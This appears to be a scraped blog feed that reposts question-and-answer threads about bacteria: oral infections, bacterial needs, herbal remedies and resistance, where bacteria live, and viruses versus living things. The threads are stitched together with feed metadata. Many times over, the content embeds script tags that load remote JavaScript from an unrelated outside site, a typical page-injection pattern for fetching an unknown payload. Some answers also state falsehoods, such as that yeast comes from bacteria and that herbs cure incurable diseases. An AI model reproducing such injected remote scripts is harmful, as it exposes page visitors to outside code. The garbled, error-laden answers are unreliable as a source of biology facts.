The bacteria or poison involved can cause stomach problems, etc. It's very mysterious how it works, but it definitely is a possibility. I know first hand.

I would, however, be MUCH more concerned about the bacteria from a mouth infection going to my heart or brain.

ANY infection in the mouth can spread through the entire body and the main target is the heart. Since you are swalling hundreds of times a day, each time more bacteria goes from the mouth into the blood stream vis your mouth and stomach. This causes a low grade infection thoughout the body. Some people have to take prophylaxis antibiotics before each dental cleaning because of value problems or othe heart issues. I don't exactly what you are asking when you target your arm, but if you have a concern, call your dentist or doctor and ask them since they know you better than I do. If youhave any other quetions, please ask. M<br>Reply:Gingivitis is caused by the infection of bad bacteria in your mouth, so this infections can also spread through your blood stream and eventually reached other parts of your body.

Aerobic bacteria require oxygen, anaerobic bacteria do not. They all require a source of nourishment, and some source of moisture.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What does bacteria need to survive?<br>I think it needs a host to survive.<br>Reply:Like your normal man = Dark, damp conditions and a host to live off.<br>Reply:warm, damp, moist areas<br>Reply:Food, Water, Air<br>Reply:u have to be more specific,if it is a parasitic then it need a host.if it is a chemo then it need chemicals.if it is anaeorobic then it needs oxygen.if it is photsynthetic then it needed sunlight.there is also other bacterias that also needed othere things.<br>Reply:Bacteria are like all living things, they need a food source and they need to respire.<br><br /><br />Some bacteria are anaerobes, and have a special method of respiration that does not require oxygen. The rest need a source of oxygen in gas form.<br><br /><br />They also need nutrients. These provide them with energy for living, and ensure they have all the ingredients for day to day life. Many bacteria are happy with sugars, oily secretions from other animals, and such. <br><br /><br />Others use chemical reactions to release energy they can use (chemotrophs). Some use the sun, and photosynthesise, like plants.<br><br /><br />Bacteria can live just about any where. <br><br /><br />With humans, they live on our skin, hair, in our gut even. They live on dead things, and contribute to the cycle of life by breaking them down. <br><br /><br />Anywhere there's food, they'll be!<br><br /><br />We now know there are bacteria that live in what we used to assume were impossible conditions - toxic lakes, boiling water - these are called extremophiles.<br><br /><br />Finally, they need to be able to reproduce. They do this on their own, by copying and then dividing themselves. And they do it fast!<br>Reply:They also need to have a method of getting rid of waste, just like everything else!<br>Reply:Few rules; <br><br /><br />1. Aerobic bacteria require oxygen, anaerobic bacteria do not, like bacterias deep underground or within animal body. <br><br /><br />2. It requires a source of nourishment, and it depends of the preferred food for type of each bacteria. some likes minerals others biological componds. <br><br /><br />3. Different than Virus, bacterias does not need a host. There are types that can live only within a host and anothers that does not need it, so they can live everywhere. <br><br /><br />4. Human digestive systems needs bacterias. Without it, we would not be able to get essencial from food that we eat. What i mean is; There are good and bad bacterias. .... and sometimes, bad bacterias can be also a good one it always depends about the context and environment.<br>Reply:Plenty of germs.

However, herbal remedies focus on strengthening the body and allow the body to do its job. A strong and healthy immune system will throw anything out. <br><br /><br /><br><br /><br />Herbal supplements (not herbal medicine) are natural byproducts of nature. Many of the incurable diseases are curable to some degree with the right plants found somewhere on this planet.<br>Reply:Alternative propaganda!<br>Reply:Because herbal medicine is almost never used, so bacteria don't need to develop resistance to survive as a whole. The more a medicine is used the more likely it is to get a resistance, which is why overmedicating is such a problem.<br><br /><br /><br><br /><br />Also... because alternative medicines usually suck in the first place, so you wouldn't be able to tell even if it DID build up a resistance. =p But that's just my humble uneducated opinion.<br>Reply:Bacteria haven't survived this long by being easy to kill or disable. Bacteria where on the planet before the human gene ever developed.<br><br /><br />Also, don't believe for a second that herbal remedies kill bacteria. The symptoms one may suffer might ease, but not the problem with the way bacteria destroy cells.....<br>Reply:For one thing bacteria are routinely tested for resistance to various antibiotics so we are aware of resistance. This is called sensitivity testing and is a valuable aid in treating people with serious bacterial infections. <br><br /><br /><br><br /><br />Today no one is conducting sensitivity testing on herbal medicines. There are several reasons for this. First and most important there is absolutely NO herbal medicine that can be broken down into its active (if there are any) ingredients. With accepted antibiotics there is detailed knowledge of how the antibiotic works at the biochemical level. With herbals no such knowledge exists. In fact, there is no agreement among herbal practioners on the effective dose (if one exists) of the many herbal medicines. In the limited number of controlled studies concerning herbals that have been published no therapeutic effect has been demonstrated to date. Perhaps bacteria don't demonstrate resistance to herbals because herbals don't kill bacteria in the first place.<br>Reply:*wild speculation alert*<br><br /><br /><br><br /><br />It's hard to come up with a substance that you can put into your body that will decimate bacteria without harming you. That's why all of the antibiotics we have are variations on a few basic molecular designs. The claims I've seen on herbal medicines seem to have more to do with boosting the immune system than killing the bacteria directly. I don't know a lot about the actual research on their effectiveness, so let's just assume they work to some degree for the purpose of this speculation.<br><br /><br /><br><br /><br />Normally when bacteria become resistant to antibiotics, bacteria that mutate or acquire new genes that prevent that one substance from being able to kill them will quickly be selected for and will outnumber the non-resistant ones. They only have to become resistant to one thing (if only one type of antibiotic is being given) and they have it made. Becoming resistant to the immune system is a little more complicated. The immune system has evolved a lot of different strategies to neutralize and destroy bacteria; it's not a one-trick pony. Not only does it have a variety of strategies, but it's adaptable. If a bacterium develops the ability to destroy the herbal substance that boosts the immune system (possibly by metabolizing it for energy?), it won't have any particular advantage over the other bacteria infecting that person because the immune response affects them all the same way. <br><br /><br /><br><br /><br />*end of wild speculation*<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>Judyhttp://www.blogger.com/profile/09989550440788034824noreply@blogger.com0tag:blogger.com,1999:blog-1707675799664854441.post-71555947556601598142011-11-21T02:12:00.011-08:002011-11-21T02:12:54.568-08:00Where have bacteria been located?There is no place where there are not bacteria. On our bodies, in our mouths, our intestines, in the sink, on the dish sponge, on the dish towel, in our shoes, in the washer, in the car, in the food, and so on, and that is only us - every other animal and plant has the same story, and then there is the dirt in the yard, between the cracks of the sidewalks, and even before we go outside, there they are in the rug, in the pillows, in the couch and chairs....<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Where have bacteria been located?<br>The bottom of the ocean...<br>Reply:EVERYWHERE but they orginated from the ocean problaby from the bottom of the ocean where the dirt and mud is<br>Reply:The bottom of the ocean<br>Reply:Basically, bacteria are ubiquitous. They can withstand high temps, high acidity and high pressure. However, there are some archaea that are even more extreme with respect to tolerance levels - that is, there are places where archaea are found and bacteria are not. (Some hydrothermal vent locations, some acid spots, as in Yellowstone.) Still, bacteria play a huge role in the cycling of basic elements like C, S, N and Fe and are found everywhere.<br>Reply:Bacteria are everywhere. In the air, in water, in your food, in your eyes, inside of you. Really. Yeast in bread comes from bacteria bascillus. On your clothes, tiny parasites may have been the antagonists who made the hole in your shirt. In a single drop of water from a river can contain thousands of specimens, each one different. In your food, bacteria can be consumed in large numbers without notice.

And how are they different?First of all, cyanobacteria are a KIND of bacteria, like<br><br /><br />corn is a kind of plant or spiders are a kind of animal.<br><br /><br /> <br><br /><br />All living things are in one of 3 domains. These are<br><br /><br />Eukarya, Bacteria and Archaea. <br><br /><br /> <br><br /><br />All living things are in one of 6 kingdoms. These are<br><br /><br />Animalia, Plantae, Fungi, Protista, Eubacteria and<br><br /><br />Archaebacteria. The kingdom eubacteria includes<br><br /><br />exactly the same things as the domain bacteria, so<br><br /><br />you could say bacteria and eubacteria are 2 names<br><br /><br />for the same thing. Similarly, the domain archaea<br><br /><br />is the same as the kingdom archaebacteria. <br><br /><br /> <br><br /><br />Cyanobacteria, is a sub-type of the domain bacteria<br><br /><br />and thus also a sub-type of the kingdom eubacteria.<br><br /><br /> <br><br /><br />One property of the cyanobacteria is that they can <br><br /><br />produce their own food by photosynthesis. This is<br><br /><br />one thing these bacteria have in common with the<br><br /><br />members of the kingdom Plantae, the plants. Most<br><br /><br />bacteria are not able to do this.<br><br /><br /> <br><br /><br />Warning: There is an alternative classification of all<br><br /><br />living things into 5 kingdoms. These are Animalia, <br><br /><br />Plantae, Fungi, Protista, %26amp; Monera. Monera consists<br><br /><br />of the Eubacteria and Archaebacteria put together<br><br /><br />in one group with a single name.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>Judyhttp://www.blogger.com/profile/09989550440788034824noreply@blogger.com0tag:blogger.com,1999:blog-1707675799664854441.post-83395020092592177052011-11-21T02:12:00.000-08:002011-11-21T02:12:01.203-08:00How do bacteria affect the quality of air (good or bad)?I need this for my biology project.

Let me give you one simple example, among other examples.<br><br /><br /><br><br /><br />Our skin has loads of bacteria on it, which one might consider as normal flora, since they inhabit our skin and not cause any problems. Now this normal flora has established it ground on our skin, occupying space and metabolizing however it can, and this occupance of space actually blocks partially, if not completely, the establishment of growth of pathogenic bacteria, causing most of them to not cause disease and may perhaps die in the way.This is the same way in our stomach, especially the gut.<br><br /><br /><br><br /><br />Hope this helps!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Doesbacteria affect bacteria to died.?<br>Bacteria does effect other bacteria wether it is dead or not.

You don't have to give me a complete, full, detailed explanation. Maybe just a few sentences or more telling me why. I hope that's not too much to ask. Thanks!!! =)<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Why is bacteria considered a living organism and a virus not?<br>a virus cannot reproduce, on its own. Instead it must infect a host cell and use that cell's machinery (organells, enzymes, etc.) in order to procreate. Bacteria, on the other hand, can reproduce naturally without depending on the organelles of another organism.<br><br /><br /><br><br /><br />It should be noted that in the science community this is currently heatedly debated and that this aspect of the current definition of "living" may change, sometime in the near future, to include viruses in the category of the living.<br>Reply:viruses cant reproduce on their own, they have to clamp onto a "really" living thing in order to live, reproduce, feed, etc.<br><br /><br /><br><br /><br />Bac is a self sufficent fully realized organism, and its all over your body!!<br><br /><br /><br><br /><br />eww! ;)<br>Reply:A bacteria is a living cell, a virus is just protein<br>Reply:Both are living organisms, I believe, unless you're talking about the kind of virus that infects computer systems.<br>Reply:There are certain "things" something needs to have to be considered as living and those "things" that you need viruses do not have.<br>Reply:bacteria is just a doom things that feast upon doomed humans of doom<br>Reply:Based on the cell theory, the cell is the basic unit of life. Since a bacteria can reproduce on its own asexually and sexually through conjugation it is considered alive. A virus cannot reproduce in the ways that we consider sexual or asexual reproduction<br>Reply:a virus is a protein that must bond to a host organism and multiply and mutate.<br><br /><br />bacteria is a cellular organism and is composed of organelles that make it function as a whole.<br>Reply:A living organism eats, deficates (produces waste), reproduces and dies. Bacteria does these acts.<br><br /><br />A virus is a small container of DNA that latches onto a cell and injects itself into the cell causing it to duplicate its DNA and continue the process. A virus does not eat, does not "die" in the traditional sense but does replicate itself.<br>Reply:Well bacteria can reproduce by itself while a virus has to use an another oraganism after infecting the cell, it becomes into clone like replica. While bacteria is can reproduce and tends to be more complex than viruses.<br>Reply:Bacteria is considred an living organism because it shows signs of the 7 main charcteristics of life. (Homeostasis, Organization, Metabolism, Growth, Adaptation, Response to stimuli and, Reproduction). While bacteria shows all 7 viruses aren't classified as living because they don't actually self-reproduce they must use a host cell.<br>Reply:Um... well, I'm certainly no genius, but i do know that bacteria is considered a living thing because of its structure, its a single-celled oraganism. A virus is different because it isnt alive at all, it just affects parts of a living body to slow down its functions. Thats why bacterial infections can be treated and usually cured, because bacteria can die, but viral infections cant because they were never living. Vaccines can help with that. Hopefully i helped rather than confusing you.<br>Reply:Bacteria are their own living organism. Viruses are half of an organism. Their hosts (i.e. you) provide the other half. They then attack your cells that make you you.<br>Reply:VIRUSES: What are They? <br><br /><br /><br><br /><br />viruses (n.) Any of various simple submicroscopic parasites of plants, animals, and bacteria that often cause disease and that consist essentially of a core of RNA or DNA surrounded by a protein coat. Unable to replicate without a host cell, viruses are typically not considered living organisms.<br><br /><br /> <br><br /><br />American Heritage Dictionary of the English Language – Fourth Edition <br><br /><br /><br><br /><br />NEW! Virus Animation<br><br /><br />Learn about viruses through our new animated powerpoint presentation. Watch a phage invade a bacterium. Learn about how viruses take over a cell and multiply. Examine different virus structures and learn about the history of virology research.<br><br /><br />http://www.cs.unc.edu/Research/nano/ed/p...<br><br /><br /> <br><br /><br /><br><br /><br />Are Viruses Living or Non-living?<br><br /><br />This is a difficult question to answer because we have yet to define what it means to be living. Does having a DNA mean that it is living? Does having the ability to reproduce mean that it is living? Does needing food and metabolising mean that it is living?<br><br /><br /><br><br /><br />Clearly, viruses are more complicated than chemical molecules. Yet, much simplier than the most basic single cell organism. Similar to organisms, viruses are made up of proteins and nucleic acid which are organic compounds. Some viruses have a lipid membrane. They evolve and mutate. A virus has the potential to reproduce with the aid of their host cell, but does not need energy to persist, i.e. does not need food.<br><br /><br /><br><br /><br />So for now, depending on how YOU define living, a virus can be either living or non-living.<br><br /><br /><br><br /><br />Virus Structure<br><br /><br />Viruses are nucleic acid coated with proteins. The nucleic acid can be either RNA or ss-DNA or ds-DNA. The protein coat is typically an assembly of one to several protein subunits.<br>Reply:Viruses are composed of DNA or RNA and proteins. In order to reproduce, they hijack cells, bacteria for example, and their protein synthesis mechanisms (mRNA, ribosomes, tRNA, etc.). Thus, viruses lack the ability to divide, as living cells do, but certainly not to reproduce. Also, some viruses lack the peripheral mechanisms of cells, like photosynthetic organelles, while others do not and can extravagently bore a hole into the membrane of cells. Some people think that this excludes viruses from the fraternity of 'life,' and others do not. There is by no means a consenus as to whether viruses constitute life, nor whether this is important at all.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>Judyhttp://www.blogger.com/profile/09989550440788034824noreply@blogger.com0
